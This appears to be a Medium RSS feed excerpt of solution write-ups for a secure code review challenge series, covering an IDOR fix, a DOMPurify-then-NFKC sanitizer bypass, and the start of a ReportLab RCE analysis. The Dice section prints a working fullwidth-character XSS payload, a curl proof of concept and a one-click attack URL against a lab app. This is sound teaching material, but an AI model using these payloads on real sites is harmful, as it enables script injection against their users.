return 404 (not 403, so the response doesn&#39;t confirm the ID even exists):</p><pre>const job = await db.findJobByJobId(jobId);<br>if (!job || job.userId !== req.user.id) {<br>  return res.status(404).json({ error: &#39;Job not found&#39; });<br>}</pre><p>Better still, push the check into the query itself so a mismatched owner can never be loaded at all — findJobByJobId(jobId, userId) → findOne({ jobId, userId: new ObjectId(userId) }). Apply this to all four routes: the API&#39;s status and download endpoints, and their UI twins.</p><p>As with every challenge in this series, that one fix shouldn’t be the only control:</p><ul><li><strong>Unpredictable IDs.</strong> Swap the date-plus-counter scheme for a UUID or crypto.randomUUID() as the public job ID, so IDs can&#39;t be enumerated even if an ownership check is ever missed on a future route. Predictability is what turns a single leaked-link IDOR into mass harvesting.</li><li><strong>Scope by owner at the data layer by default.</strong> Make userId a required argument on single-object reads, mirroring what findJobsByUserId already does — so &quot;look up one job&quot; is ownership-scoped the same way &quot;list my jobs&quot; already is.</li><li><strong>Add an authorization test to the suite.</strong> User B must get 404 on user A&#39;s job. That&#39;s the kind of test that catches this exact class of bug in CI before it ships.</li></ul><h3>Why This Matters Beyond This One App</h3><p>Every individual control in this app is legitimately well-built: password hashing, NoSQL sanitization, a shell-free command execution pattern, a real CVE mitigated by the exact flag its advisory recommends, safe path construction, auto-escaping templates. None of that mattered, because the one thing none of it covers is <em>ownership</em>. <strong>Authentication answers who is calling. Authorization answers whether they may touch this specific object.</strong> Those are different questions, and a system can get the first one completely right while never asking the second.</p><p>The reviewer’s habit that catches this: at every entry point that takes an object ID from the request — a path param, a query string, a body field — ask <strong>“whose data is this, and where is that checked?”</strong> Treat an ID-only lookup like findByJobId(jobId) as guilty until an ownership check is shown, the same way you&#39;d treat unescaped output as guilty until you&#39;ve confirmed the templating engine handles it. And treat opaque, unguessable IDs as a backstop, never the actual control — a UUID makes an ownership bug harder to <em>find</em>, but it doesn&#39;t fix the bug.</p><p><strong>Real-world grounding:</strong> IDOR on downloadable resources is a bug-bounty staple. The <a href="https://krebsonsecurity.com/2019/05/first-american-financial-corp-leaked-hundreds-of-millions-of-title-insurance-records/">First American Financial leak (2019)</a> is the canonical large-scale example — sequential document IDs exposed roughly 885 million title-insurance records with no authorization check at all. Same shape of bug, six orders of magnitude bigger blast radius.</p><h3>Wrapping Up</h3><p>If you worked through File Converter yourself, I’d like to know: when you hit a route that takes an object ID straight from the URL, is checking ownership a reflex for you by now, or does seeing requireAuth on the route make it feel like the access-control question is already settled?</p><p>Challenge #5 is live now if you’re ready for the next one, and I’ll be back in two weeks with its solution and a new challenge alongside it.</p><p><strong>Links:</strong></p><ul><li>🎥 Video walkthrough: <a href="https://youtu.be/R_xdc6y9Rho">https://youtu.be/R_xdc6y9Rho</a></li><li>📄 Full solution write-up: <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/solutions/004-file-converter/SOLUTION.md">SOLUTION.md</a></li><li>📂 Repo: <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge">the-secure-code-review-challenge</a></li><li>🧩 Try Challenge #4: <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/004-file-converter">challenges/004-file-converter</a></li><li>🧩 Try Challenge #5: <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/005-notekeeper">challenges/005-notetaker</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tK9EwCcCBWh4JqjV7HO-9w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a7889cfc9144" width="1" height="1" alt=""><hr><p><a href="https://medium.com/appsec-untangled/the-secure-code-review-challenge-solution-4-file-converter-a-guessable-id-is-an-accessible-id-a7889cfc9144">The Secure Code Review Challenge — Solution #4: File Converter (A Guessable ID Is an Accessible ID)</a> was originally published in <a href="https://medium.com/appsec-untangled">AppSec Untangled</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Secure Code Review Challenge — Solution #3: Dice  (When Input Sanitization Is Not Enough)]]></title>
            <link>https://medium.com/appsec-untangled/the-secure-code-review-challenge-solution-3-dice-when-input-sanitization-is-not-enough-2a86391c7436?source=rss----b758e7bb6f4f---4</link>
            <guid isPermaLink="false">https://medium.com/p/2a86391c7436</guid>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[code-review]]></category>
            <category><![CDATA[software-development]]></category>
            <dc:creator><![CDATA[Mohamed AboElKheir]]></dc:creator>
            <pubDate>Fri, 21 Aug 2026 11:14:40 GMT</pubDate>
            <atom:updated>2026-08-21T11:14:40.348Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>📢 The solution to </em><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/003-dice"><strong><em>Challenge #3: Dice</em></strong></a><em> is live. Watch the video walkthrough </em><a href="https://youtu.be/Wv1kIrZVLbI"><em>here</em></a><em>, or read the full write-up on </em><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/solutions/003-dice/SOLUTION.md"><em>GitHub</em></a><em>.</em></blockquote><p>The Secure Code Review Challenge is a free biweekly series of full, realistic applications with vulnerabilities based on real-world CVEs and writeups — you review, identify, and exploit them the way you would in a real security review, not just spot-the-bug pattern recognition.</p><p>If you haven’t attempted the challenge yet, this is your cue to stop reading, <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/">clone the repo</a>, and try it yourself first. Everything below assumes you’ve already had a go at it — no shame either way, but the exercise is worth more if you struggle with it a bit before seeing the answer.</p><p>Two quick announcements before we get into it:</p><ul><li><strong>Challenge #4</strong> is already live in the repo under challenges/ <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/004-file-converter">here</a>. The solution to it will follow on September 3rd.</li><li>The repo uses <strong>GitHub Releases</strong> for every new challenge and solution drop. If you go to <strong>Watch → Custom → Releases</strong> on the repo, you’ll get notified automatically instead of having to check back manually.</li></ul><p>With that out of the way, let’s walk through Dice the same way I did in the video — following the same seven-step methodology laid out in the repo, end to end.</p><h3>A Quick Reminder of What We’re Reviewing</h3><p>Dice is a tiny single-page utility — no accounts, no database, no sessions. You can roll one or several six-sided dice, and you can submit a comma-separated list of words and get one picked at random, with the full list echoed back. Every request is public and self-contained. That simplicity is exactly what makes this one interesting: with no authentication or authorization model to break, almost the entire review weight shifts to how the app handles the one piece of untrusted text it actually touches — the word list.</p><h3>Part I — Building the Mental Model</h3><h3>1. 🗺️ Application Scope &amp; Architecture</h3><p>As always, the first move is just spinning the app up and playing with it:</p><pre>docker compose up</pre><p>Roll a die, roll a couple, submit a word list, get one picked at random. No login screen, nothing gated — a genuinely public, low-stakes little app. That already tells you something important for the review: business-logic checks like auth, IDOR, and CSRF are probably not where this challenge lives.</p><p>Reading the stack next:</p><ul><li><strong>Node.js + </strong><a href="https://expressjs.com/"><strong>Express 5</strong></a> for the backend — one file, index.js, holds every route</li><li><a href="https://github.com/cure53/DOMPurify"><strong>DOMPurify</strong></a> (backed by <a href="https://github.com/jsdom/jsdom"><strong>jsdom</strong></a>, since DOMPurify needs a DOM to run server-side) — an HTML sanitizer</li><li><a href="https://www.npmjs.com/package/unorm"><strong>unorm</strong></a> — a Unicode normalization library</li><li>A static HTML/JS front end served by Express, with no templating engine</li></ul><p>The docker-compose.yml builds the local Dockerfile (node:20-alpine) and publishes port 3000 — one container, nothing else running alongside it.</p><p>index.js is where the Express backend app lives and has multiple routes. The front end matters just as much here as the backend. views/index.html calls the API with fetch and writes the JSON response straight back into the page. It also auto-runs the word selector from a ?words= URL parameter on page load.</p><h3>2. 🚪 Entry Points</h3><p>Since there’s no auth anywhere, every entry point is reachable by anyone:</p><ul><li><strong>GET </strong><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/003-dice/index.js#L21-L23"><strong>/</strong></a> — untrusted input: ?words= (consumed by client JS on load)</li><li><strong>GET </strong><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/003-dice/index.js#L26-L29"><strong>/api/roll-dice</strong></a> — no untrusted input</li><li><strong>POST </strong><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/003-dice/index.js#L32-L39"><strong>/api/roll-dices</strong></a> — untrusted input: count (JSON body)</li><li><strong>GET </strong><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/003-dice/index.js#L64-L82"><strong>/api/random-word</strong></a> — untrusted input: words (query string)</li><li><strong>POST </strong><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/challenges/003-dice/index.js#L85-L94"><strong>/api/random-word</strong></a> — untrusted input: words[] (JSON body)</li></ul><p>The web page itself is an additional surface worth calling out separately: it takes the same word input from a textarea <em>or</em> from that ?words= URL parameter, and renders whatever the API sends back into the DOM.</p><h3>3. 🎯 Dangerous Sinks</h3><p>With business logic largely off the table, the review is really about tracing what happens to the words input. Two things stand out immediately once you open views/index.html:</p><p>The page is full of innerHTML assignments — the pattern we&#39;ve flagged as dangerous in earlier challenges in this series, because anything written into innerHTML gets parsed as HTML, not displayed as text. The specific one that matters here is where the API&#39;s response gets rendered:</p><pre>let html = `&lt;div class=&quot;selected-word&quot;&gt;Selected: ${data.selectedWord}&lt;/div&gt;`;   // :230<br>data.allWords.forEach((word, index) =&gt; {<br>    html += `&lt;div class=&quot;word-item&quot;&gt;${index + 1}. ${word}&lt;/div&gt;`;                // :233<br>});<br>resultDiv.innerHTML = html;                                                       // :237</pre><p>If data.selectedWord or any word contains live HTML, that HTML gets parsed and executed by the browser. The only thing standing between user input and this sink is whatever the server does inside processWords() before returning the words — so the whole question of this review becomes: <strong>can a payload survive </strong><strong>processWords() and still contain live HTML on the other side?</strong></p><p>There’s also a second, much smaller thing worth flagging while we’re in the code, even though it isn’t the main event: roll-dices takes a count from the request body with no upper bound:</p><pre>const count = parseInt(req.body.count) || 1;</pre><p>The UI caps this at 10, but the API itself doesn’t — send {&quot;count&quot;: 100000000} directly, and the server will happily try to build an array that size. It&#39;s a minor denial-of-service issue, not the planted vulnerability, but it&#39;s a legitimate finding and a good example of why you check the API directly instead of only trusting what the UI lets you send.</p><h3>4 &amp; 5. 🧩 Threat Modeling and 🔍 Mitigation Review</h3><p><strong>🔓 Business logic first.</strong> This app is intentionally public — no accounts, no sessions, no per-object data, nothing state-changing on the server. There’s no privilege boundary to cross, so authentication, authorization, IDOR, and CSRF are all not applicable by design. That’s a real, quick verdict here, not a corner being cut — the app genuinely has nothing in this category to check.</p><p><strong>💉 Source-to-sink next — is the </strong><strong>innerHTML sink actually reachable?</strong>Here’s where the review earns its keep. Open processWords():</p><pre>function processWords(words) {<br>    return words.map(word =&gt; {<br>        let sanitized = DOMPurify.sanitize(word, { ALLOWED_TAGS: [] });   // 1) strip HTML<br>        sanitized = unorm.nfkc(sanitized);                               // 2) THEN normalize<br>        return sanitized;<br>    });<br>    // ...<br>}</pre><p>The obvious first check is: does DOMPurify actually work? It does. Feed it a real &lt;script&gt;alert(1)&lt;/script&gt; tag and it comes back empty — DOMPurify strips it exactly as expected. On the surface, this looks like a textbook case of &quot;dangerous sink, but properly mitigated.&quot; If that were the whole story, this review would be finished: sanitize before render, verified, move on.</p><p>But there’s a second line in that function — unorm.nfkc(sanitized) — and it runs <em>after</em> sanitization, not before. That ordering is worth pausing on, because it&#39;s a pattern this series has seen before. In Challenge #1, a check ran, and <em>then</em> a modification ran on the already-checked value — trimming whitespace after an authorization check had already passed, which let an attacker slip past the check with a value that only became &quot;clean&quot; afterward. This is the same shape of bug: verify first, modify second. Whenever you see that order, the question to ask is: is there an input that passes the check as garbage, but the <em>modification</em> turns into something dangerous?</p><p>For a sanitizer specifically, that means asking: is there a character the sanitizer lets through as harmless text, that normalization would then turn into real HTML syntax?</p><p>Unicode normalization exists for good reasons — folding “strange-looking” Unicode characters into their standard equivalents, useful for search, string comparisons, or making foreign-language input consistent. Run it on stylized text like 𝕒𝕡𝕡𝕝𝕖, 𝕓𝕒𝕟𝕒𝕟𝕒, 𝕔𝕙𝕖𝕣𝕣𝕪 and it comes back as plain apple, banana, cherry.</p><pre>$ node<br>Welcome to Node.js v24.16.0.<br>Type &quot;.help&quot; for more information.<br>&gt; const unorm = require(&#39;unorm&#39;);<br>undefined<br>&gt; s=&#39;𝕒𝕡𝕡𝕝𝕖, 𝕓𝕒𝕟𝕒𝕟𝕒, 𝕔𝕙𝕖𝕣𝕣𝕪&#39;<br>&#39;𝕒𝕡𝕡𝕝𝕖, 𝕓𝕒𝕟𝕒𝕟𝕒, 𝕔𝕙𝕖𝕣𝕣𝕪&#39;<br>&gt;  unorm.nfkc(s);<br>&#39;apple, banana, cherry&#39;<br>&gt;</pre><p>That’s the intended use — but the same folding applies to a much wider set of “compatibility” characters than most people realize, including two that matter a great deal here: the <strong>fullwidth less-than</strong> (＜, U+FF1C) and <strong>fullwidth greater-than</strong> (＞, U+FF1E) characters. Visually, these are almost indistinguishable from ordinary &lt; and &gt; — genuinely hard to spot just by eye. NFKC normalizes both straight to their ASCII equivalents.</p><p>That’s the bypass. ＜ and ＞ are not HTML syntax, so DOMPurify treats them as ordinary text and lets them straight through. The unorm.nfkc() call that follows then rewrites them into real &lt; and &gt; — reconstructing a live HTML tag <em>after</em> the sanitizer already had its say and considered the string safe.</p><h3>Part II — Finding, Exploiting, and Fixing the Bug</h3><h3>6. 🧪 The Vulnerability: Sanitizer Bypass Through the Wrong Order of Operations</h3><p>You can see the bypass directly by running processWords&#39;s two steps side by side on two different inputs:</p><pre>INPUT       : &quot;&lt;img src=x onerror=alert(1)&gt;&quot;      (real ASCII tag)<br>afterPurify : &quot;&quot;                                   ← DOMPurify strips it ✔<br>afterNFKC   : &quot;&quot;<br><br>INPUT       : &quot;＜img src=x onerror=alert(1)＞&quot;      (fullwidth tag)<br>afterPurify : &quot;＜img src=x onerror=alert(1)＞&quot;      ← passes through as &quot;text&quot;<br>afterNFKC   : &quot;&lt;img src=x onerror=alert(1)&gt;&quot;       ← normalization revives the tag 💥</pre><p>One quick note on payload choice: a fullwidth ＜script＞ tag normalizes just as well, but browsers don&#39;t execute &lt;script&gt; elements that get inserted via innerHTML — that&#39;s a deliberate HTML5 security behavior. For an innerHTML sink, the reliable primitive is an event-handler-bearing tag like &lt;img src=x onerror=...&gt; or &lt;svg onload=...&gt;, which is why the PoC uses onerror.</p><p><strong>Proving it against the running server</strong> — both endpoints reconstruct a live tag from the fullwidth payload:</p><pre># POST (JSON body). --data-binary preserves the multibyte UTF-8 characters.<br>curl -s -X POST http://localhost:3000/api/random-word \<br>  -H &quot;Content-Type: application/json&quot; \<br>  --data-binary &#39;{&quot;words&quot;: [&quot;＜img src=x onerror=alert(document.domain)＞&quot;]}&#39;<br># → {&quot;selectedWord&quot;:&quot;&lt;img src=x onerror=alert(document.domain)&gt;&quot;,<br>#     &quot;allWords&quot;:[&quot;&lt;img src=x onerror=alert(document.domain)&gt;&quot;],&quot;originalCount&quot;:1}</pre><p>The response contains a real &lt;img onerror=...&gt; tag — the sanitizer has been bypassed server-side, before the payload ever reaches the browser.</p><p><strong>And because the front end auto-runs the word selector from </strong><strong>?words= on page load</strong>, this isn&#39;t just a curl trick — it&#39;s a complete, one-click XSS delivered as a single link:</p><pre>http://localhost:3000/?words=%EF%BC%9Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%EF%BC%9E</pre><p>(%EF%BC%9C / %EF%BC%9E are just the URL-encoded UTF-8 bytes for ＜ / ＞.) A victim opens that link, the page fetches the word selector automatically, the server hands back a live &lt;img&gt; tag, the UI drops it into innerHTML, the image fails to load, and onerror fires — arbitrary JavaScript running in the victim&#39;s origin, with no clicks beyond opening the link.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*hpNMkWrfj-7qAs1W.png" /><figcaption>XSS!</figcaption></figure><p>There’s no session or cookie to steal in this particular toy app, but in a real application this is the standard DOM XSS blast radius: session hijack, keylogging, forged same-origin requests, phishing overlays laid over the real page — all triggered by a link that looks completely unremarkable.</p><h3>7. 🛠️ The Fix</h3><p>The fix is genuinely one line — swap the order:</p><pre>const sanitizedWords = words.map(word =&gt; {<br>    const normalized = unorm.nfkc(word);                          // 1) canonicalize FIRST<br>    return DOMPurify.sanitize(normalized, { ALLOWED_TAGS: [] });   // 2) THEN sanitize (last transform)<br>});j</pre><p>With normalization running first, ＜img …＞ becomes &lt;img …&gt; <em>before</em> DOMPurify ever sees it — so DOMPurify strips it like any other tag, and the bypass is closed.</p><p>That one-line reorder is the core fix, but as with every challenge in this series, it shouldn’t be the only control. A few things worth layering on top:</p><ul><li><strong>Fix the sink, not just the source.</strong> innerHTML is still doing string concatenation of untrusted data — that&#39;s the underlying risk, independent of this specific bug. Building the DOM with textContent / createElement instead would have neutralized this payload even with the ordering bug still in place:</li></ul><pre>const sel = document.createElement(&#39;div&#39;);<br>sel.className = &#39;selected-word&#39;;<br>sel.textContent = `Selected: ${data.selectedWord}`;<br>resultDiv.replaceChildren(sel);<br>// build each word row with createElement + textContent too</pre><ul><li><strong>Add a Content-Security-Policy.</strong> A restrictive CSP (default-src &#39;self&#39;; script-src &#39;self&#39;; object-src &#39;none&#39;) would block inline onerror= handlers from executing at all — a second independent layer catching the same class of bug. Note the app currently uses inline on* handlers elsewhere, so adopting a strict CSP means moving that JS out of attributes first.</li><li><strong>Input validation / allow-listing</strong> on the word fields — a length cap and a character allow-list makes it much harder to smuggle any kind of markup through in the first place.</li><li><strong>Clamp </strong><strong>count</strong> on POST /api/roll-dices (e.g. Math.min(Math.max(1, count), 10)) to close the unbounded-loop DoS finding from earlier.</li></ul><h3>8. Why This Matters Beyond unorm and DOMPurify</h3><p>The individual pieces here are each, on their own, correct. DOMPurify does exactly what it promises — it strips real HTML tags. unorm.nfkc() does exactly what it promises — it folds compatibility Unicode characters to their canonical form. Neither library has a bug. The vulnerability lives entirely in the <em>order</em> they were wired together in.</p><p>This is the exact same underlying pattern as Challenge #1’s authorization bypass, just wearing different clothes: a check ran, and then a transformation ran on the value <em>after</em> the check had already passed judgment on it. The check itself was never the weak point in either case — the sequencing was. This has a name: <a href="https://cwe.mitre.org/data/definitions/180.html">CWE-180 — Incorrect Behavior Order: Validate Before Canonicalize</a>, a close cousin of <a href="https://cwe.mitre.org/data/definitions/179.html">CWE-179</a>, and it’s exactly what DOMPurify’s own documentation warns against — treat its output as final, and never transform it afterward.</p><p>The broader takeaway for how you review code: whenever a pipeline chains multiple transforms — decode, normalize, trim, canonicalize, validate, sanitize — the order matters as much as the presence of each individual step. A sanitizer that runs before a canonicalizing transform isn’t sanitizing the value that actually gets used; it’s sanitizing an intermediate value that never sees the light of day. The rule to carry forward: <strong>canonicalize/normalize/decode first, validate/sanitize last</strong> — and once sanitization has run, that value should be the final one that reaches the sink, full stop.</p><h3>Wrapping Up</h3><p>If you worked through Dice yourself, I’d like to know: did you spot the ordering issue on your own, or did DOMPurify’s “clean” output on a normal payload convince you to move on before you looked at what came after it?</p><p>Challenge #4 is live now if you’re ready for the next one, and I’ll be back on September 3rd with its solution and a new challenge alongside it.</p><p><strong>Links:</strong></p><ul><li>🎥 Video walkthrough: <a href="https://youtu.be/Wv1kIrZVLbI">https://youtu.be/Wv1kIrZVLbI</a></li><li>📄 Full solution write-up: <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/solutions/003-dice/SOLUTION.md">SOLUTION.md</a></li><li>📂 Repo: <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge">the-secure-code-review-challenge</a></li><li>🧩 Try Challenge #3: <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/003-dice">challenges/003-dice</a></li><li>🧩 Try Challenge #4: <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/004-file-converter">challenges/004-file-converter</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tK9EwCcCBWh4JqjV7HO-9w.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2a86391c7436" width="1" height="1" alt=""><hr><p><a href="https://medium.com/appsec-untangled/the-secure-code-review-challenge-solution-3-dice-when-input-sanitization-is-not-enough-2a86391c7436">The Secure Code Review Challenge — Solution #3: Dice 🎲 (When Input Sanitization Is Not Enough)</a> was originally published in <a href="https://medium.com/appsec-untangled">AppSec Untangled</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Secure Code Review Challenge #2: Professional — Solution (Clean Code Can Still Be Vulnerable)]]></title>
            <link>https://medium.com/appsec-untangled/secure-code-review-challenge-2-professional-solution-clean-code-can-still-be-vulnerable-a88956c99731?source=rss----b758e7bb6f4f---4</link>
            <guid isPermaLink="false">https://medium.com/p/a88956c99731</guid>
            <category><![CDATA[code-review]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[application-security]]></category>
            <dc:creator><![CDATA[Mohamed AboElKheir]]></dc:creator>
            <pubDate>Thu, 06 Aug 2026 17:07:43 GMT</pubDate>
            <atom:updated>2026-08-06T17:07:43.146Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>📢 The solution to </em><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/002-professional"><strong><em>Challenge #2: Professional</em></strong></a><em> is live. Watch the video walkthrough </em><a href="https://youtu.be/2j3dM9OiOT0"><em>here</em></a><em>, or read the full write-up on </em><a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/blob/main/solutions/002-professional/SOLUTION.md"><em>GitHub</em></a><em>.</em></blockquote><p>The Secure Code Review Challenge is a free biweekly series of full, realistic applications with vulnerabilities based on real-world CVEs — you review, identify, and exploit them the way you would in a real security review, not just spot-the-bug pattern recognition.</p><p>If you haven’t attempted the challenge yet, this is your cue to stop reading, <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/002-professional">clone the repo</a>, and try it yourself first. Everything below assumes you’ve already had a go at it — no shame either way, but the exercise is worth more if you struggle with it a bit before seeing the answer.</p><p>Two quick announcements before we get into it:</p><ul><li><strong>Challenge #3</strong> is already live in the repo under challenges/ <a href="https://github.com/mohamed-osama-aboelkheir/the-secure-code-review-challenge/tree/main/challenges/003-dice">here</a>. The solution to it will follow in a couple of weeks, alongside a fourth challenge.</li><li>The repo uses <strong>GitHub Releases</strong> for every new challenge and solution drop. If you go to <strong>Watch → Custom → Releases</strong> on the repo, you’ll get notified automatically instead of having to check back manually.</li></ul><p>With that out of the way, let’s walk through Professional the same way I did in the video — following the same seven-step methodology laid out in the repo, end to end.</p><h3>A Quick Reminder of What We’re Reviewing</h3><p>Professional is a small résumé-builder platform. Users register, log in, create one or more professional profiles (a bio plus work experience entries), mark each profile public or private, and export any profile as a PDF résumé. Two roles, no admin, no complicated org structure — the application logic itself is about as straightforward as it gets. That simplicity matters for this challenge: it’s a good reminder that the app’s own code being clean and well-guarded doesn’t automatically mean the app is safe. Sometimes the weak point isn’t anything you wrote at all.</p><h3>Part I — Building the Mental Model</h3><h3>1. 🗺️ Application Scope &amp; Architecture</h3><p>As always, the first move is just running the app and using it — docker compose up --build, register a user, create a profile, mark it private, generate a résumé PDF. That alone tells you the shape of the feature set before you&#39;ve read a line of code.</p><p>Reading the stack comes next:</p><ul><li><strong>Python 3 + Flask</strong> for the backend routes</li><li><strong>MongoDB</strong>, accessed through <strong>PyMongo</strong>, with queries expressed as plain Python dicts (find_one({&#39;username&#39;: name}))</li><li><strong>JWT auth</strong> via PyJWT, signed with HS256 and a shared secret</li><li><strong>bcrypt</strong> for password hashing</li><li><strong>ReportLab</strong> for generating the PDF résumés</li></ul><p>The docker-compose.yml is worth reading closely here, because it tells you something the app code alone wouldn&#39;t: Mongo is brought up with <strong>no authentication configured</strong>, reachable only over the private Docker network. That&#39;s a reasonable assumption <em>if</em> nothing else on that network can be coerced into talking to it maliciously — file that away, because it becomes relevant later.</p><p>The Dockerfile builds from python:3.10.14-slim, installs requirements.txt, and switches to a non-root appuser before running app.py. Non-root is good hygiene, but it limits blast radius — it doesn&#39;t prevent code execution inside the container in the first place.</p><p>From app.py, the picture is: routes for auth, profile CRUD, and résumé generation, all defined directly on the Flask app; a store.py module wrapping the two Mongo collections (users and profiles); a pdf_generator.py module that builds the résumé with ReportLab; and a thin static frontend (index.html + app.js) that stores the JWT in sessionStorage and attaches it as a Bearer header on every request.</p><p>One more detail worth clocking early, because a review should reason about dependencies and not just first-party code: the libraries in play here are Flask, MongoDB/PyMongo, PyJWT, bcrypt, and ReportLab. Every one of them is a place where <em>someone else’s</em> code — not this app’s — determines part of your security posture.</p><h3>2. 🚪 Entry Points</h3><p>Enumerating entry points is mostly a matter of reading the routes:</p><ul><li><strong>POST /register</strong> — no auth. Body: username, password</li><li><strong>POST /login</strong> — no auth. Body: username, password</li><li><strong>GET /profiles</strong> — no auth. Lists public profiles</li><li><strong>POST /profiles</strong> — authenticated. Body: bio, work_experiences[], is_private</li><li><strong>GET /profiles/my</strong> — authenticated. Uses the caller&#39;s ID from the JWT</li><li><strong>GET /profiles/&lt;id&gt;</strong> — no @authenticate_token decorator at all. id comes from the URL</li><li><strong>PUT /profiles/&lt;id&gt;</strong> — authenticated. Body: bio, work_experiences[], is_private, plus id from the URL</li><li><strong>DELETE /profiles/&lt;id&gt;</strong> — authenticated. id from the URL</li><li><strong>POST /profiles/my/resume</strong> — authenticated. Reads the caller&#39;s own stored profile and returns a generated PDF</li></ul><p>That missing decorator on GET /profiles/&lt;id&gt; stands out immediately — it&#39;s the kind of thing that looks like it should be an authorization bug. Keep it in mind; we&#39;ll come back to it.</p><h3>3. 🎯 Dangerous Sinks</h3><p>Places where user input could change behavior, before deciding which are actually reachable:</p><ul><li><strong>MongoDB queries</strong> (find_one, find, update_one) across store.py, fed by usernames and profile fields</li><li><strong>ObjectId(profile_id)</strong>, fed by the &lt;id&gt; URL segment</li><li><strong>DOM rendering in the frontend</strong>, fed by whatever the API returns as JSON</li><li><strong>ReportLab’s </strong><strong>Paragraph() markup parser</strong>, fed by bio, work-experience fields, and username</li></ul><p>That last one deserves a beat of explanation, because it’s easy to skim past. Paragraph() doesn&#39;t treat its argument as plain text — it parses a small XML/HTML-like markup language, with tags like &lt;b&gt;, &lt;br/&gt;, and &lt;font color=&quot;...&quot;&gt;. In pdf_generator.py, user-controlled text is handed to Paragraph() with no escaping at all: the bio, every work-experience field, and even the username in the document title. Untrusted input reaching a markup parser unescaped is exactly the kind of thing worth carrying forward as a lead.</p><h3>4 &amp; 5. 🧩 Threat Modeling and 🔍 Mitigation Review</h3><p>Same two buckets as always: <strong>business-logic</strong> vulnerabilities (should this be enforced, per entry point) and <strong>source-to-sink</strong> vulnerabilities (should this be reachable, per sink).</p><p><strong>🔓 Business logic first.</strong></p><p>Authentication holds up: the JWT decode pins algorithms=[&#39;HS256&#39;] — no algorithm-confusion path — and passwords are hashed and verified with bcrypt on both register and login.</p><p>Authorization / IDOR also holds up on the routes that matter for mutation: both the update and delete handlers check ownership against request.current_user_id, which is derived from the verified token, never from anything in the request body.</p><p>The private-profile route is the interesting one. Remember that missing @authenticate_token decorator on GET /profiles/&lt;id&gt;? Because the decorator never runs, request.current_user_id is never set — and the private-check branch in that handler treats <em>everyone</em>, including the profile&#39;s own owner, as unauthenticated. The practical effect is that it returns a 404 to anyone trying to view a private profile by ID, owner included. It&#39;s a bug, but it&#39;s an over-restrictive functional bug, not a data leak — nothing sensitive is actually exposed. Worth flagging, not worth chasing as &quot;the&quot; vulnerability.</p><p>CSRF is a non-issue here: auth is a Bearer token read from sessionStorage and attached manually by the frontend JS, and there&#39;s no auth cookie for a forged cross-site request to ride along on.</p><p><strong>💉 Source-to-sink next.</strong></p><p>NoSQL injection is worth checking carefully given how MongoDB queries work in this app. The /login username flows into find_one({&#39;username&#39;: username}) — since it comes from a JSON body, a dict like {&quot;$ne&quot;: null} could technically match a document. But login still requires the real password via bcrypt.checkpw(...), and password.encode() throws if the password isn&#39;t a string, so the operator trick can&#39;t complete an actual auth bypass. The ObjectId(profile_id) path is even more clear-cut: a URL path segment is always a plain string, so it structurally can&#39;t carry a dict or operator in the first place — the worst case is an invalid string raising inside ObjectId(), caught by a try/except and turned into a 500.</p><p>Stored/DOM XSS in the frontend also checks out clean: the UI builds nodes with textContent and element properties, never innerHTML, and there&#39;s a CSP restricting script-src to &#39;self&#39; on top of that.</p><p>So at this point, every business-logic check and every classic source-to-sink vector — auth, IDOR, CSRF, NoSQL injection, XSS — comes back clean. The app’s own code, genuinely, is well-written. Which is exactly the setup for where this challenge is actually going.</p><h3>Part II — Finding, Exploiting, and Fixing the Bug</h3><h3>6. 🧪 The Vulnerability: 💥 RCE Through a Dependency, Not the App’s Own Code</h3><p>Go back to the one sink we flagged and didn’t cross off: Paragraph() parsing the bio, work-experience fields, and username as markup, completely unescaped.</p><p>Running a vulnerability scanner such as <a href="https://github.com/anchore/grype">Grype</a> shows this function has a High severity vulnerability that could lead to RCE.</p><pre>$ grype .<br> ✔ Indexed file system                                                                                                                                   .<br> ✔ Cataloged contents                                                                     cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8<br>   ├── ✔ Packages                        [7 packages]<br>   ├── ✔ Executables                     [0 executables]<br>   ├── ✔ File digests                    [1 files]<br>   └── ✔ File metadata                   [1 locations]<br> 